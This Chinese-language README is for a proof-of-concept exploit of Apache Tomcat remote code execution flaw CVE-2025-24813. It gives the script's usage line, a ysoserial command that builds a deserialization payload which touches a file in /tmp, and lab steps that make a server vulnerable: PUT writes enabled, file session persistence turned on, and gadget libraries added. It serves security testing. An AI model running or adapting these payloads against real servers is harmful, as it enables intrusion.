
CVE-2025-24813 Apache Tomcat RCE 概念验证(PoC)
CVE-2025-24813 的概念验证(PoC),这是 Apache Tomcat 中的一个远程代码执行 (RCE) 漏洞。
重要提示: 本 PoC 仅用于测试您自己的环境或教育目的。未经适当授权,使用本 PoC 攻击系统是被禁止的,并可能违法。本 PoC 的创建者和分发者对任何滥用或损害不承担责任。在测试您不拥有的环境之前,请始终获得明确的许可。
python3 CVE-2025-24813.py --url <target_url>
代码中已经包含一个使用 ysoserial (https://github.com/frohoff/ysoserial) 生成的 base64 编码 payload,该 payload 在 /tmp 下创建一个文件 RCE-success,如下所示:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
启用 PUT / 写入访问
编辑 $CATALINA_HOME/conf/web.xml,在 default servlet 名称部分下添加 readonly 参数,并将其设置为 false。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
启用会话持久化
$CATALINA_HOME/conf/context.xml 并添加以下设置。 <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
$CATALINA_HOME/webapps/ROOT/index.jsp,确保 session 的默认设置不是 "false",或者直接移除它。 <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
或
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
将依赖下载到 $CATALINA_HOME/lib/
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409